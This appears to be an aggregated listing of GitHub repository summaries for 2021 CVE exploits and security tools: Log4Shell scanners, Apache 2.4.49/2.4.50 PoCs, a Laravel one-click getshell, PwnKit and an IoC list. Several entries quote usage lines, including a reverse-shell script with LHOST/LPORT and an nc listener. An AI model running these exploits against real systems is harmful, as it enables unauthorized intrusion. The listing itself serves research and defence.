LogMePwn

LogMePwn LogMePwn is a fully automated, multi-protocol, reliable, super-fast scanning and validation toolkit for the Log4J RCE CVE-2021-44228 vulnerability. Tool Highlights Inherent support for automatic Canary Tokens generation using emails or webhooks. Multi-protocol support: HTTP, IMAP, SSH,...

OracleOTM

OracleOTM Python tool for exploiting CVE-2021-35616 The script works in modules, which I implemented in the following order: ► Username enumeration ► Search for default credentials ► Run an SQL query using DBXML servlet ► Full exploitation and JSP execution The syntax of the script is as follows:...

POC-CVE-2021-41773

POC CVE-2021-41773 N|Solid POC to test the vulnerability CVE-2021-41773 corresponding to the Apache httpd 2.4.49 service. POC Open your favorite Terminal and run these commands. First Tab: wget https://raw.githubusercontent.com/TishcaTpx/POC-CVE-2021-41773/main/poc.py Second Tab: python3 poc.py...

laravel-CVE-2021-3129-EXP

laravel-CVE-2021-3129-EXP CVE-2021-3129 one-click getshell Usage python3 laravel-CVE-2021-3129-EXP.py http://127.0.0.1:8000 After success, use Godzilla to connect...

Tai-e

Tai-e ✨News Release v0.5.4: Tai-e ships with a new frontend, providing faster and more reliable conversion from Java programs to Tai-e IR. Android app analysis is supported through a PacDroid-powered plugin integrated with pointer analysis. Spring DI and WEC analysis is supported through the Spri...

CVE-2021-36934

CVE-2021-36934 HiveNightmare aka SeriousSAM...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999...

iomfb-exploit

Write up is here: https://jsherman212.github.io/2021/11/28/poppingios14withiomfb.html Exploit for CVE-2021-30807. If you really want to build a jailbreak out of it, it will require tuning for your device and iOS version because I have no info leak to use for this. To tune for A11 and below, use...

CVE-2021-26084

This repository does not have a README...

CVE-2021-1675-SCANNER

CVE-2021-1675-SCANNER Vulnerability Scanner for CVE-2021-1675 follow install instructions for https://github.com/cube0x0/CVE-2021-1675 make sure you have rpcdump.py from a list of hosts that you gather use nmap tag -oG to output your file with list of hosts that are up Example: nmap -iL hosts.txt...

Log4jUnifi

Log4jUnifi Exploiting CVE-2021-44228 in Unifi Network Application for remote code execution and more. Another Log4j on the fire: Unifi Why? Proof of concepts for this vulnerability are scattered and have to be performed manually. This repository automates the exploitation process. See the blog po...

CVE-2021-2456

CVE-2021-2456 CVE-2021-2456...

Log4j-CVE-2021-44228

Log4j-CVE-2021-44228 Mass Check Vulnerable Log4j CVE-2021-44228 Introduction Actually I just checked via Vulnerable Application from https://github.com/christophetd/log4shell-vulnerable-app because I'm lazy to find live target xD so you can develop or change this code according to your knowledge ...

Certify

Certify Certify is a C tool to enumerate and abuse misconfigurations in Active Directory Certificate Services AD CS. @harmj0y and @tifkin are the primary authors of Certify and the the associated AD CS research blog and whitepaper. Table of Contents Certify Usage Defensive Considerations Compile...

log4j-CVE-2021-44228-Public-IoCs

log4j log4shell CVE-2021-44228 Public IoCs list Public IoCs about log4j CVE-2021-44228 log4shell based on Twitter and others social networks pull requests accepted, I remove duplicates automatically IPs https://github.com/Sh0ckFR/log4j-CVE-2021-44228-Public-IoCs/raw/main/ips.txt Callbacks domains...

ez-pwnkit

ez-pwnkit A pure-Go implementation of the CVE-2021-4034 PwnKit exploit. The exploit use syscall.ForkExec to survive end of main program. Installation git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make As the exploit relies on a malicious shared library, a PWN.so file is generat...

log4j-cve-code-search-resources

Using code search to help fix/mitigate log4j CVE-2021-44228 and log4j CVE-2021-45046...

homelab-CVE-2021-44228

Homelab: Log4Shell CVE-2021-44228 on Apache Solr Controlled Docker environment to reproduce and study the Log4Shell vulnerability in Apache Solr. The Environment Target solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 running a vulnerable version of Log4j. Attacker kali-lab: Basic Kali Linux...

local-log4j-vuln-scanner

Simple local log4j vulnerability scanner Written in Go because, you know, "write once, run anywhere." This is a simple tool that can be used to find vulnerable instances of log4j 1.x and 2.x in installations of Java software such as web applications. JAR and WAR archives are inspected and class...

CSRF-to-RCE-on-Backdrop-CMS

CSRF to RCE on Backdrop CMS 1.20 This PoC describe how to exploit CSRF on Backdrop CMS Version 1.20 with escalation to RCE. CVE ID CVE-2021-45268 Description The Backdrop CMS version 1.20 allows plugins to be added via ZIP files uploaded to the site. And because it does not have anti-CSRF...